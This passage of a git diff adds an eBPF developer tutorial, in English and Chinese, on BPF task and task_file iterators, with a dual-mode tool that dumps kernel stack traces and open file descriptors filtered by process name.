`SEC("iter/task_file")` that receives each task or file during iteration. Inside this program, you have direct access to kernel struct fields, can filter based on any criteria using normal C logic, and use `BPF_SEQ_PRINTF()` to format output exactly as needed. The kernel handles the iteration mechanics while your code focuses purely on filtering and formatting. + +When userspace reads from the iterator file descriptor, the magic happens entirely in the kernel. The kernel walks the task list, calls your BPF program for each task passing the task_struct pointer. Your program checks if the task name matches your filter - if not, it returns 0 immediately with no output. If it matches, your program extracts the stack trace and formats it to a seq_file. All this happens in kernel context before any data crosses to userspace. + +The benefits are transformative. **In-kernel filtering** means only relevant data crosses the kernel boundary, eliminating wasted work. **Custom formats** let you output binary, JSON, CSV, whatever your tools need. **Single read operation** replaces thousands of individual `/proc` file accesses. **Zero parsing** because you formatted the data correctly in the kernel. **Composability** works with standard Unix tools since iterator output comes through a normal file descriptor. + +### Iterator Types and Capabilities + +The kernel provides iterators for many subsystems. **Task iterators** (`iter/task`) walk all tasks giving you access to process state, credentials, resource usage, and parent-child relationships. **File iterators** (`iter/task_file`) traverse open file descriptors showing files, sockets, pipes, and other fd types. **Network iterators** (`iter/tcp`, `iter/udp`) walk active network connections with full socket state. **BPF object iterators** (`iter/bpf_map`, `iter/bpf_prog`) enumerate loaded BPF programs and maps for introspection. + +Our tutorial focuses on task and task_file iterators because they solve common monitoring needs and demonstrate core concepts applicable to all iterator types. + +## Implementation: Dual-Mode Task Iterator + +Let's build a complete example demonstrating two iterator types in one tool. We'll create a program that can show either kernel stack traces or open file descriptors for processes, with optional filtering by process name. + +### Complete BPF Program: task_stack.bpf.c + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Kernel task stack and file descriptor iterator */ +#include +#include + +char _license[] SEC("license") = "GPL"; + +#define MAX_STACK_TRACE_DEPTH 64 +unsigned long entries[MAX_STACK_TRACE_DEPTH] = {}; +#define SIZE_OF_ULONG (sizeof(unsigned long)) + +/* Filter: only show stacks for tasks with this name (empty = show all) */ +char target_comm[16] = ""; +__u32 stacks_shown = 0; +__u32 files_shown = 0; + +/* Task stack iterator */ +SEC("iter/task") +int dump_task_stack(struct bpf_iter__task *ctx) +{ + struct seq_file *seq = ctx->meta->seq; + struct task_struct *task = ctx->task; + long i, retlen; + int match = 1; + + if (task == (void *)0) { + /* End of iteration - print summary */ + if (stacks_shown > 0) { + BPF_SEQ_PRINTF(seq, "\n=== Summary: %u task stacks shown ===\n", + stacks_shown); + } + return 0; + } + + /* Filter by task name if specified */ + if (target_comm[0] != '\0') { + match = 0; + for (i = 0; i < 16; i++) { + if (task->comm[i] != target_comm[i]) + break; + if (task->comm[i] == '\0') { + match = 1; + break; + } + } + if (!match) + return 0; + } + + /* Get kernel stack trace for this task */ + retlen = bpf_get_task_stack(task, entries, + MAX_STACK_TRACE_DEPTH * SIZE_OF_ULONG, 0); + if (retlen < 0) + return 0; + + stacks_shown++; + + /* Print task info and stack trace */ + BPF_SEQ_PRINTF(seq, "=== Task: %s (pid=%u, tgid=%u) ===\n", + task->comm, task->pid, task->tgid); + BPF_SEQ_PRINTF(seq, "Stack depth: %u frames\n", retlen / SIZE_OF_ULONG); + + for (i = 0; i < MAX_STACK_TRACE_DEPTH; i++) { + if (retlen > i * SIZE_OF_ULONG) + BPF_SEQ_PRINTF(seq, " [%2ld] %pB\n", i, (void *)entries[i]); + } + BPF_SEQ_PRINTF(seq, "\n"); + + return 0; +} + +/* Task file descriptor iterator */ +SEC("iter/task_file") +int dump_task_file(struct bpf_iter__task_file *ctx) +{ + struct seq_file *seq = ctx->meta->seq; + struct task_struct *task = ctx->task; + struct file *file = ctx->file; + __u32 fd = ctx->fd; + long i; + int match = 1; + + if (task == (void *)0 || file == (void *)0) { + if (files_shown > 0 && ctx->meta->seq_num > 0) { + BPF_SEQ_PRINTF(seq, "\n=== Summary: %u file descriptors shown ===\n", + files_shown); + } + return 0; + } + + /* Filter by task name if specified */ + if (target_comm[0] != '\0') { + match = 0; + for (i = 0; i < 16; i++) { + if (task->comm[i] != target_comm[i]) + break; + if (task->comm[i] == '\0') { + match = 1; + break; + } + } + if (!match) + return 0; + } + + if (ctx->meta->seq_num == 0) { + BPF_SEQ_PRINTF(seq, "%-16s %8s %8s %6s %s\n", + "COMM", "TGID", "PID", "FD", "FILE_OPS"); + } + + files_shown++; + + BPF_SEQ_PRINTF(seq, "%-16s %8d %8d %6d 0x%lx\n", + task->comm, task->tgid, task->pid, fd, + (long)file->f_op); + + return 0; +} +``` + +### Understanding the BPF Code + +The program implements two separate iterators sharing common filtering logic. The `SEC("iter/task")` annotation registers `dump_task_stack` as a task iterator - the kernel will call this function once for each task in the system. The context structure `bpf_iter__task` provides three critical pieces: the `meta` field containing iteration metadata and the seq_file for output, the `task` pointer to the current task_struct, and a NULL task pointer when iteration finishes so you can print summaries. + +The task stack iterator shows in-kernel filtering in action. When `task` is NULL, we've reached the end of iteration and can print summary statistics showing how many tasks matched our filter. For each task, we first apply filtering by comparing `task->comm` (the process name) against `target_comm`. We can't use standard library functions like `strcmp()` in BPF, so we manually loop through characters comparing byte by byte. If the names don't match and filtering is enabled, we immediately return 0 with no output - this task is skipped entirely in the kernel without crossing to userspace. + +Once a task passes filtering, we extract its kernel stack trace using `bpf_get_task_stack()`. This BPF helper captures up to 64 stack frames into our `entries` array, returning the number of bytes written. We format the output using `BPF_SEQ_PRINTF()` which writes to the kernel's seq_file infrastructure. The special `%pB` format specifier symbolizes kernel addresses, turning raw pointers into human-readable function names like `schedule+0x42/0x100`. This makes stack traces immediately useful for debugging. + +The file descriptor iterator demonstrates a different iterator type. `SEC("iter/task_file")` tells the kernel to call this function for every open file descriptor across all tasks. The context provides `task`, `file` (the kernel's struct file pointer), and `fd` (the numeric file descriptor). We apply the same task name filtering, then format output as a table. Using `ctx->meta->seq_num` to detect the first output lets us print column headers exactly once. + +Notice how filtering happens before any expensive operations. We check the task name first, and only if it matches do we extract stack traces or format file information. This minimizes work in the kernel fast path - non-matching tasks are rejected with just a string comparison, no memory allocation, no formatting, no output. + +### Complete User-Space Program: task_stack.c + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Userspace program for task stack and file iterator */ +#include +#include +#include +#include +#include +#include "task_stack.skel.h" + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + return vfprintf(stderr, format, args); +} + +static void run_iterator(const char *name, struct bpf_program *prog) +{ + struct bpf_link *link; + int iter_fd, len; + char buf[8192]; + + link = bpf_program__attach_iter(prog, NULL); + if (!link) { + fprintf(stderr, "Failed to attach %s iterator\n", name); + return; + } + + iter_fd = bpf_iter_create(bpf_link__fd(link)); + if (iter_fd < 0) { + fprintf(stderr, "Failed to create %s iterator: %d\n", name, iter_fd); + bpf_link__destroy(link); + return; + } + + while ((len = read(iter_fd, buf, sizeof(buf) - 1)) > 0) { + buf[len] = '\0'; + printf("%s", buf); + } + + close(iter_fd); + bpf_link__destroy(link); +} + +int main(int argc, char **argv) +{ + struct task_stack_bpf *skel; + int err; + int show_files = 0; + + libbpf_set_print(libbpf_print_fn); + + /* Parse arguments */ + if (argc > 1 && strcmp(argv[1], "--files") == 0) { + show_files = 1; + argc--; + argv++; + } + + /* Open BPF application */ + skel = task_stack_bpf__open(); + if (!skel) { + fprintf(stderr, "Failed to open BPF skeleton\n"); + return 1; + } + + /* Configure filter before loading */ + if (argc > 1) { + strncpy(skel->bss->target_comm, argv[1], sizeof(skel->bss->target_comm) - 1); + printf("Filtering for tasks matching: %s\n\n", argv[1]); + } else { + printf("Usage: %s [--files] [comm]\n", argv[0]); + printf(" --files Show open file descriptors instead of stacks\n"); + printf(" comm Filter by process name\n\n"); + } + + /* Load BPF program */ + err = task_stack_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load BPF skeleton\n"); + goto cleanup; + } + + if (show_files) { + printf("=== BPF Task File Descriptor Iterator ===\n\n"); + run_iterator("task_file", skel->progs.dump_task_file); + } else { + printf("=== BPF Task Stack Iterator ===\n\n"); + run_iterator("task", skel->progs.dump_task_stack); + } + +cleanup: + task_stack_bpf__destroy(skel); + return err; +} +``` + +### Understanding the User-Space Code + +The userspace program showcases how simple iterator usage is once you understand the pattern. The `run_iterator()` function encapsulates the three-step iterator lifecycle. First, `bpf_program__attach_iter()` attaches the BPF program to the iterator infrastructure, registering it to be called during iteration. Second, `bpf_iter_create()` creates a file descriptor representing an iterator instance. Third, simple `read()` calls consume the iterator output. + +Here's what makes this powerful: when you read from the iterator fd, the kernel transparently starts walking tasks or files. For each element, it calls your BPF program passing the element's context. Your BPF code filters and formats output to a seq_file buffer. The kernel accumulates this output and returns it through the read() call. From userspace's perspective, it's just reading a file - all the iteration, filtering, and formatting complexity is hidden in the kernel. + +The main function handles mode selection and configuration. We parse command-line arguments to determine whether to show stacks or files, and what process name to filter for. Critically, we set `skel->bss->target_comm` before loading the BPF program. This writes the filter string into the BPF program's global data section, making it visible to kernel code when the program runs. This is how we pass configuration from userspace to kernel without complex communication channels. + +After loading, we select which iterator to run based on the `--files` flag. Both iterators use the same filtering logic, but produce different output - one shows stack traces, the other shows file descriptors. The shared filtering code demonstrates how BPF programs can implement reusable logic across different iterator types. + +## Compilation and Execution + +Navigate to the bpf_iters directory and build: + +```bash +cd bpf-developer-tutorial/src/features/bpf_iters +make +``` + +The Makefile compiles the BPF program with BTF support and generates a skeleton header containing the compiled bytecode embedded in C structures. This skeleton API makes BPF program loading trivial. + +Show kernel stack traces for all systemd processes: + +```bash +sudo ./task_stack systemd +``` + +Expected output: + +``` +Filtering for tasks matching: systemd + +=== BPF Task Stack Iterator === + +=== Task: systemd (pid=1, tgid=1) === +Stack depth: 6 frames + [ 0] ep_poll+0x447/0x460 + [ 1] do_epoll_wait+0xc3/0xe0 + [ 2] __x64_sys_epoll_wait+0x6d/0x110 + [ 3] x64_sys_call+0x19b1/0x2310 + [ 4] do_syscall_64+0x7e/0x170 + [ 5] entry_SYSCALL_64_after_hwframe+0x76/0x7e + +=== Summary: 1 task stacks shown === +``` + +Show open file descriptors for bash processes: + +```bash +sudo ./task_stack --files bash +``` + +Expected output: + +``` +Filtering for tasks matching: bash + +=== BPF Task File Descriptor Iterator === + +COMM TGID PID FD FILE_OPS +bash 12345 12345 0 0xffffffff81e3c6e0 +bash 12345 12345 1 0xffffffff81e3c6e0 +bash 12345 12345 2 0xffffffff81e3c6e0 +bash 12345 12345 255 0xffffffff82145dc0 + +=== Summary: 4 file descriptors shown === +``` + +Run without filtering to see all tasks: + +```bash +sudo ./task_stack +``` + +This shows stacks for every task in the system. On a typical desktop, this might display hundreds of tasks. Notice how fast it runs compared to parsing `/proc/*/stack` for all processes - the iterator is dramatically more efficient. + +## When to Use BPF Iterators vs /proc + +Choose **BPF iterators** when you need filtered kernel data without userspace processing overhead, custom output formats that don't match `/proc` text, performance-critical monitoring that runs frequently, or integration with BPF-based observability infrastructure. Iterators excel when you're monitoring many entities but only care about a subset, or when you need to aggregate and transform data in the kernel. + +Choose **/proc** when you need simple one-off queries, are debugging or prototyping where development speed matters more than runtime performance, want maximum portability across kernel versions (iterators require relatively recent kernels), or run in restricted environments where you can't load BPF programs. + +The fundamental trade-off is processing location. Iterators push filtering and formatting into the kernel for efficiency and flexibility, while `/proc` keeps the kernel simple and does all processing in userspace. For production monitoring of complex systems, iterators usually win due to their performance benefits and programming flexibility. + +## Summary and Next Steps + +BPF iterators revolutionize how we export kernel data by enabling programmable, filtered iteration directly from BPF code. Instead of repeatedly reading and parsing `/proc` files, you write a BPF program that iterates kernel structures in-kernel, applies filtering at the source, and formats output exactly as needed. This eliminates massive overhead from syscalls, mode transitions, and userspace parsing while providing complete flexibility in output format. + +Our dual-mode iterator demonstrates both task and file iteration, showing how one BPF program can export multiple views of kernel data with shared filtering logic. The kernel handles complex iteration mechanics while your BPF code focuses purely on filtering and formatting. Iterators integrate seamlessly with standard Unix tools through their file descriptor interface, making them composable building blocks for sophisticated monitoring pipelines. + +> If you'd like to dive deeper into eBPF, check out our tutorial repository at or visit our website at . + +## References + +- **BPF Iterator Documentation:** +- **Kernel Iterator Selftests:** Linux kernel tree `tools/testing/selftests/bpf/*iter*.c` +- **Tutorial Repository:** +- **libbpf Iterator API:** +- **BPF Helpers Manual:** + +Examples adapted from Linux kernel BPF selftests with educational enhancements. Requires Linux kernel 5.8+ for iterator support, BTF enabled, and libbpf. Complete source code available in the tutorial repository. diff --git a/src/features/bpf_iters/README.zh.md b/src/features/bpf_iters/README.zh.md new file mode 100644 index 00000000..1f51305f --- /dev/null +++ b/src/features/bpf_iters/README.zh.md @@ -0,0 +1,382 @@ +# eBPF 教程:BPF 迭代器用于内核数据导出 + +你是否曾经尝试监控数百个进程,却不得不解析数千个 `/proc` 文件,只为找到你关心的几个进程?或者需要自定义格式的内核数据,但不想修改内核本身?传统的 `/proc` 文件系统访问速度慢、不灵活,即使你只需要一小部分过滤后的数据,也会强制你在用户空间处理大量数据。 + +这正是 **BPF 迭代器**要解决的问题。在 Linux 内核 5.8 中引入,迭代器让你可以直接从 BPF 程序遍历内核数据结构,在内核中应用过滤器,并以你想要的任何格式输出你需要的确切数据。在本教程中,我们将构建一个双模式迭代器,它显示进程的内核堆栈跟踪和打开的文件描述符,并通过进程名称进行内核内过滤 - 比解析 `/proc` 快得多。 + +## BPF 迭代器简介:/proc 的替代品 + +### 问题:/proc 缓慢且僵化 + +传统的 Linux 监控围绕着 `/proc` 文件系统展开。需要查看进程在做什么?读取 `/proc/*/stack`。想要打开的文件?解析 `/proc/*/fd/*`。这样可以工作,但当你在大规模监控系统或需要内核数据的特定过滤视图时,效率非常低下。 + +性能问题是系统性的。每次 `/proc` 访问都需要一个系统调用、内核模式转换、文本格式化、数据复制到用户空间,然后你将文本解析回结构。如果你想要 1000 个进程中所有 "bash" 进程的堆栈跟踪,你仍然需要读取所有 1000 个 `/proc/*/stack` 文件并在用户空间过滤。这就是 1000 次系统调用、1000 次文本解析操作,以及传输的数兆字节数据,只是为了找到少数几个匹配项。 + +格式不灵活性加剧了问题。内核选择显示什么数据以及如何格式化。想要带有自定义注释的堆栈跟踪?抱歉,你只能得到内核的固定格式。需要跨进程聚合数据?在用户空间解析所有内容。`/proc` 接口是为人类使用而设计的,而不是为程序化过滤和分析设计的。 + +传统监控是这样的: + +```bash +# 查找所有 bash 进程的堆栈跟踪 +for pid in $(pgrep bash); do + echo "=== PID $pid ===" + cat /proc/$pid/stack +done +``` + +这会生成 `pgrep` 作为子进程,对每个匹配的 PID 进行一次系统调用以读取堆栈文件,解析文本输出,并在用户空间进行所有过滤。编写简单,但性能糟糕。 + +### 解决方案:可编程的内核内迭代 + +BPF 迭代器翻转了这个模型。与其将所有数据拉到用户空间进行处理,不如将处理逻辑推送到数据所在的内核中。迭代器是一个附加到内核数据结构遍历的 BPF 程序,它会为每个元素调用。内核遍历任务、文件或套接字,用每个元素的上下文调用你的 BPF 程序,你的代码决定输出什么以及如何格式化。 + +架构很优雅。你编写一个标记为 `SEC("iter/task")` 或 `SEC("iter/task_file")` 的 BPF 程序,在迭代期间接收每个任务或文件。在这个程序中,你可以直接访问内核结构字段,可以使用普通的 C 逻辑根据任何条件进行过滤,并使用 `BPF_SEQ_PRINTF()` 按需格式化输出。内核处理迭代机制,而你的代码纯粹专注于过滤和格式化。 + +当用户空间从迭代器文件描述符读取时,魔法完全发生在内核中。内核遍历任务列表,为每个任务调用你的 BPF 程序并传递 task_struct 指针。你的程序检查任务名称是否匹配你的过滤器 - 如果不匹配,它立即返回 0 且不输出。如果匹配,你的程序提取堆栈跟踪并将其格式化到 seq_file。所有这些都发生在内核上下文中,然后数据才会跨越到用户空间。 + +好处是变革性的。**内核内过滤**意味着只有相关数据跨越内核边界,消除了浪费的工作。**自定义格式**让你可以输出二进制、JSON、CSV,无论你的工具需要什么。**单次读取操作**取代了数千次单独的 `/proc` 文件访问。**零解析**,因为你在内核中正确格式化了数据。**可组合性**与标准 Unix 工具配合使用,因为迭代器输出通过普通文件描述符传递。 + +### 迭代器类型和能力 + +内核为许多子系统提供迭代器。**任务迭代器**(`iter/task`)遍历所有任务,让你访问进程状态、凭据、资源使用和父子关系。**文件迭代器**(`iter/task_file`)遍历打开的文件描述符,显示文件、套接字、管道和其他 fd 类型。**网络迭代器**(`iter/tcp`、`iter/udp`)遍历活动网络连接及完整的套接字状态。**BPF 对象迭代器**(`iter/bpf_map`、`iter/bpf_prog`)枚举已加载的 BPF 程序和 map 以进行内省。 + +我们的教程专注于任务和 task_file 迭代器,因为它们解决了常见的监控需求,并展示了适用于所有迭代器类型的核心概念。 + +## 实现:双模式任务迭代器 + +让我们构建一个完整的示例,在一个工具中演示两种迭代器类型。我们将创建一个程序,可以显示进程的内核堆栈跟踪或打开的文件描述符,并可选择按进程名称进行过滤。 + +### 完整的 BPF 程序:task_stack.bpf.c + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Kernel task stack and file descriptor iterator */ +#include +#include + +char _license[] SEC("license") = "GPL"; + +#define MAX_STACK_TRACE_DEPTH 64 +unsigned long entries[MAX_STACK_TRACE_DEPTH] = {}; +#define SIZE_OF_ULONG (sizeof(unsigned long)) + +/* Filter: only show stacks for tasks with this name (empty = show all) */ +char target_comm[16] = ""; +__u32 stacks_shown = 0; +__u32 files_shown = 0; + +/* Task stack iterator */ +SEC("iter/task") +int dump_task_stack(struct bpf_iter__task *ctx) +{ + struct seq_file *seq = ctx->meta->seq; + struct task_struct *task = ctx->task; + long i, retlen; + int match = 1; + + if (task == (void *)0) { + /* End of iteration - print summary */ + if (stacks_shown > 0) { + BPF_SEQ_PRINTF(seq, "\n=== Summary: %u task stacks shown ===\n", + stacks_shown); + } + return 0; + } + + /* Filter by task name if specified */ + if (target_comm[0] != '\0') { + match = 0; + for (i = 0; i < 16; i++) { + if (task->comm[i] != target_comm[i]) + break; + if (task->comm[i] == '\0') { + match = 1; + break; + } + } + if (!match) + return 0; + } + + /* Get kernel stack trace for this task */ + retlen = bpf_get_task_stack(task, entries, + MAX_STACK_TRACE_DEPTH * SIZE_OF_ULONG, 0); + if (retlen < 0) + return 0; + + stacks_shown++; + + /* Print task info and stack trace */ + BPF_SEQ_PRINTF(seq, "=== Task: %s (pid=%u, tgid=%u) ===\n", + task->comm, task->pid, task->tgid); + BPF_SEQ_PRINTF(seq, "Stack depth: %u frames\n", retlen / SIZE_OF_ULONG); + + for (i = 0; i < MAX_STACK_TRACE_DEPTH; i++) { + if (retlen > i * SIZE_OF_ULONG) + BPF_SEQ_PRINTF(seq, " [%2ld] %pB\n", i, (void *)entries[i]); + } + BPF_SEQ_PRINTF(seq, "\n"); + + return 0; +} + +/* Task file descriptor iterator */ +SEC("iter/task_file") +int dump_task_file(struct bpf_iter__task_file *ctx) +{ + struct seq_file *seq = ctx->meta->seq; + struct task_struct *task = ctx->task; + struct file *file = ctx->file; + __u32 fd = ctx->fd; + long i; + int match = 1; + + if (task == (void *)0 || file == (void *)0) { + if (files_shown > 0 && ctx->meta->seq_num > 0) { + BPF_SEQ_PRINTF(seq, "\n=== Summary: %u file descriptors shown ===\n", + files_shown); + } + return 0; + } + + /* Filter by task name if specified */ + if (target_comm[0] != '\0') { + match = 0; + for (i = 0; i < 16; i++) { + if (task->comm[i] != target_comm[i]) + break; + if (task->comm[i] == '\0') { + match = 1; + break; + } + } + if (!match) + return 0; + } + + if (ctx->meta->seq_num == 0) { + BPF_SEQ_PRINTF(seq, "%-16s %8s %8s %6s %s\n", + "COMM", "TGID", "PID", "FD", "FILE_OPS"); + } + + files_shown++; + + BPF_SEQ_PRINTF(seq, "%-16s %8d %8d %6d 0x%lx\n", + task->comm, task->tgid, task->pid, fd, + (long)file->f_op); + + return 0; +} +``` + +### 理解 BPF 代码 + +程序实现了两个共享通用过滤逻辑的独立迭代器。`SEC("iter/task")` 注解将 `dump_task_stack` 注册为任务迭代器 - 内核将为系统中的每个任务调用此函数一次。上下文结构 `bpf_iter__task` 提供三个关键部分:包含迭代元数据和用于输出的 seq_file 的 `meta` 字段,指向当前 task_struct 的 `task` 指针,以及当迭代结束时为 NULL 的任务指针,以便你可以打印摘要。 + +任务堆栈迭代器展示了内核内过滤的实际应用。当 `task` 为 NULL 时,我们已到达迭代的结尾,可以打印摘要统计信息,显示有多少任务与我们的过滤器匹配。对于每个任务,我们首先通过将 `task->comm`(进程名称)与 `target_comm` 进行比较来应用过滤。我们不能在 BPF 中使用像 `strcmp()` 这样的标准库函数,所以我们手动循环遍历字符逐字节比较。如果名称不匹配且启用了过滤,我们立即返回 0 且不输出 - 这个任务在内核中完全被跳过,不会跨越到用户空间。 + +一旦任务通过过滤,我们使用 `bpf_get_task_stack()` 提取其内核堆栈跟踪。这个 BPF 辅助函数将最多 64 个堆栈帧捕获到我们的 `entries` 数组中,返回写入的字节数。我们使用 `BPF_SEQ_PRINTF()` 格式化输出,它写入内核的 seq_file 基础设施。特殊的 `%pB` 格式说明符将内核地址符号化,将原始指针转换为人类可读的函数名称,如 `schedule+0x42/0x100`。这使得堆栈跟踪立即可用于调试。 + +文件描述符迭代器演示了不同的迭代器类型。`SEC("iter/task_file")` 告诉内核为所有任务的每个打开的文件描述符调用此函数。上下文提供 `task`、`file`(内核的 struct file 指针)和 `fd`(数字文件描述符)。我们应用相同的任务名称过滤,然后将输出格式化为表格。使用 `ctx->meta->seq_num` 检测第一次输出让我们可以只打印一次列标题。 + +注意过滤如何在任何昂贵的操作之前发生。我们首先检查任务名称,只有在匹配时才提取堆栈跟踪或格式化文件信息。这最小化了内核快速路径中的工作 - 不匹配的任务只需进行字符串比较就被拒绝,没有内存分配、没有格式化、没有输出。 + +### 完整的用户空间程序:task_stack.c + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Userspace program for task stack and file iterator */ +#include +#include +#include +#include +#include +#include "task_stack.skel.h" + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + return vfprintf(stderr, format, args); +} + +static void run_iterator(const char *name, struct bpf_program *prog) +{ + struct bpf_link *link; + int iter_fd, len; + char buf[8192]; + + link = bpf_program__attach_iter(prog, NULL); + if (!link) { + fprintf(stderr, "Failed to attach %s iterator\n", name); + return; + } + + iter_fd = bpf_iter_create(bpf_link__fd(link)); + if (iter_fd < 0) { + fprintf(stderr, "Failed to create %s iterator: %d\n", name, iter_fd); + bpf_link__destroy(link); + return; + } + + while ((len = read(iter_fd, buf, sizeof(buf) - 1)) > 0) { + buf[len] = '\0'; + printf("%s", buf); + } + + close(iter_fd); + bpf_link__destroy(link); +} + +int main(int argc, char **argv) +{ + struct task_stack_bpf *skel; + int err; + int show_files = 0; + + libbpf_set_print(libbpf_print_fn); + + /* Parse arguments */ + if (argc > 1 && strcmp(argv[1], "--files") == 0) { + show_files = 1; + argc--; + argv++; + } + + /* Open BPF application */ + skel = task_stack_bpf__open(); + if (!skel) { + fprintf(stderr, "Failed to open BPF skeleton\n"); + return 1; + } + + /* Configure filter before loading */ + if (argc > 1) { + strncpy(skel->bss->target_comm, argv[1], sizeof(skel->bss->target_comm) - 1); + printf("Filtering for tasks matching: %s\n\n", argv[1]); + } else { + printf("Usage: %s [--files] [comm]\n", argv[0]); + printf(" --files Show open file descriptors instead of stacks\n"); + printf(" comm Filter by process name\n\n"); + } + + /* Load BPF program */ + err = task_stack_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load BPF skeleton\n"); + goto cleanup; + } + + if (show_files) { + printf("=== BPF Task File Descriptor Iterator ===\n\n"); + run_iterator("task_file", skel->progs.dump_task_file); + } else { + printf("=== BPF Task Stack Iterator ===\n\n"); + run_iterator("task", skel->progs.dump_task_stack); + } + +cleanup: + task_stack_bpf__destroy(skel); + return err; +} +``` + +### 理解用户空间代码 + +用户空间程序展示了一旦你理解了模式,迭代器的使用是多么简单。`run_iterator()` 函数封装了三步迭代器生命周期。首先,`bpf_program__attach_iter()` 将 BPF 程序附加到迭代器基础设施,注册它以在迭代期间被调用。其次,`bpf_iter_create()` 创建表示迭代器实例的文件描述符。第三,简单的 `read()` 调用使用迭代器输出。 + +这就是使其强大的原因:当你从迭代器 fd 读取时,内核透明地开始遍历任务或文件。对于每个元素,它调用你的 BPF 程序并传递元素的上下文。你的 BPF 代码过滤并格式化输出到 seq_file 缓冲区。内核累积此输出并通过 read() 调用返回它。从用户空间的角度来看,它只是在读取文件 - 所有迭代、过滤和格式化的复杂性都隐藏在内核中。 + +main 函数处理模式选择和配置。我们解析命令行参数以确定是显示堆栈还是文件,以及要过滤的进程名称。至关重要的是,我们在加载 BPF 程序之前设置 `skel->bss->target_comm`。这将过滤字符串写入 BPF 程序的全局数据节,使其在程序运行时对内核代码可见。这就是我们如何在没有复杂通信通道的情况下将配置从用户空间传递到内核的方法。 + +加载后,我们根据 `--files` 标志选择要运行哪个迭代器。两个迭代器使用相同的过滤逻辑,但产生不同的输出 - 一个显示堆栈跟踪,另一个显示文件描述符。共享的过滤代码展示了 BPF 程序如何在不同的迭代器类型之间实现可重用的逻辑。 + +## 编译和执行 + +导航到 bpf_iters 目录并构建: + +```bash +cd bpf-developer-tutorial/src/features/bpf_iters +make +``` + +Makefile 使用 BTF 支持编译 BPF 程序,并生成包含嵌入在 C 结构中的编译字节码的骨架头。这个骨架 API 使 BPF 程序加载变得简单。 + +显示所有 systemd 进程的内核堆栈跟踪: + +```bash +sudo ./task_stack systemd +``` + +预期输出: + +``` +Filtering for tasks matching: systemd + +=== BPF Task Stack Iterator === + +=== Task: systemd (pid=1, tgid=1) === +Stack depth: 6 frames + [ 0] ep_poll+0x447/0x460 + [ 1] do_epoll_wait+0xc3/0xe0 + [ 2] __x64_sys_epoll_wait+0x6d/0x110 + [ 3] x64_sys_call+0x19b1/0x2310 + [ 4] do_syscall_64+0x7e/0x170 + [ 5] entry_SYSCALL_64_after_hwframe+0x76/0x7e + +=== Summary: 1 task stacks shown === +``` + +显示 bash 进程的打开文件描述符: + +```bash +sudo ./task_stack --files bash +``` + +预期输出: + +``` +Filtering for tasks matching: bash + +=== BPF Task File Descriptor Iterator === + +COMM TGID PID FD FILE_OPS +bash 12345 12345 0 0xffffffff81e3c6e0 +bash 12345 12345 1 0xffffffff81e3c6e0 +bash 12345 12345 2 0xffffffff81e3c6e0 +bash 12345 12345 255 0xffffffff82145dc0 + +=== Summary: 4 file descriptors shown === +``` + +不带过滤运行以查看所有任务: + +```bash +sudo ./task_stack +``` + +这显示了系统中每个任务的堆栈。在典型的桌面上,这可能会显示数百个任务。注意它与为所有进程解析 `/proc/*/stack` 相比运行速度有多快 - 迭代器效率更高。 + +## 何时使用 BPF 迭代器与 /proc + +选择 **BPF 迭代器**当你需要过滤的内核数据而不需要用户空间处理开销、不匹配 `/proc` 文本的自定义输出格式、频繁运行的性能关键监控,或与基于 BPF 的可观测性基础设施集成时。当你监控许多实体但只关心一个子集,或者当你需要在内核中聚合和转换数据时,迭代器表现出色。 + +选择 **/proc** 当你需要简单的一次性查询、调试或原型设计(开发速度比运行时性能更重要)、希望在内核版本之间获得最大可移植性(迭代器需要相对较新的内核),或在无法加载 BPF 程序的受限环境中运行时。 + +基本权衡是处理位置。迭代器将过滤和格式化推入内核以提高效率和灵活性,而 `/proc` 保持内核简单并在用户空间进行所有处理。对于复杂系统的生产监控,迭代器通常因其性能优势和编程灵活性而获胜。 + +## 总结和下一步 + +BPF 迭代器通过直接从 BPF 代码启用可编程、过滤的迭代,彻底改变了我们导出内核数据的方式。与其重复读取和解析 `/proc` 文件,你编写一个 BPF 程序,在内核内迭代内核结构,在源头应用过滤,并完全按需格式化输出。这消除了来自系统调用、模式转换和用户空间解析的大量开销,同时在输出格式方面提供了完全的灵活性。 + +我们的双模式迭代器演示了任务和文件迭代,展示了一个 BPF 程序如何使用共享过滤逻辑导出内核数据的多个视图。内核处理复杂的迭代机制,而你的 BPF 代码纯粹专注于过滤和格式化。迭代器通过其文件描述符接口与标准 Unix 工具无缝集成,使它们成为复杂监控管道的可组合构建块。 + +> 如果你想深入了解 eBPF,请查看我们的教程仓库 或访问我们的网站 。 + +## 参考资料 + +- **BPF 迭代器文档:** +- **内核迭代器自测:** Linux 内核树 `tools/testing/selftests/bpf/*iter*.c` +- **教程仓库:** +- **libbpf 迭代器 API:** +- **BPF 辅助函数手册:** + +示例改编自 Linux 内核 BPF 自测,并增加了教育性增强。需要 Linux 内核 5.8+ 以获得迭代器支持、启用 BTF 和 libbpf。完整源代码可在教程仓库中获得。 diff --git a/src/features/bpf_iters/task_stack.bpf.c b/src/features/bpf_iters/task_stack.bpf.c new file mode 100644 index 00000000..6b76e33f --- /dev/null +++ b/src/features/bpf_iters/task_stack.bpf.c @@ -0,0 +1,118 @@ +// SPDX-License-Identifier: GPL-2.0 +/* Kernel task stack and file descriptor iterator */ +#include +#include + +char _license[] SEC("license") = "GPL"; + +#define MAX_STACK_TRACE_DEPTH 64 +unsigned long entries[MAX_STACK_TRACE_DEPTH] = {}; +#define SIZE_OF_ULONG (sizeof(unsigned long)) + +/* Filter: only show stacks for tasks with this name (empty = show all) */ +char target_comm[16] = ""; +__u32 stacks_shown = 0; +__u32 files_shown = 0; + +/* Task stack iterator */ +SEC("iter/task") +int dump_task_stack(struct bpf_iter__task *ctx) +{ + struct seq_file *seq = ctx->meta->seq; + struct task_struct *task = ctx->task; + long i, retlen; + int match = 1; + + if (task == (void *)0) { + /* End of iteration - print summary */ + if (stacks_shown > 0) { + BPF_SEQ_PRINTF(seq, "\n=== Summary: %u task stacks shown ===\n", + stacks_shown); + } + return 0; + } + + /* Filter by task name if specified */ + if (target_comm[0] != '\0') { + match = 0; + for (i = 0; i < 16; i++) { + if (task->comm[i] != target_comm[i]) + break; + if (task->comm[i] == '\0') { + match = 1; + break; + } + } + if (!match) + return 0; + } + + /* Get kernel stack trace for this task */ + retlen = 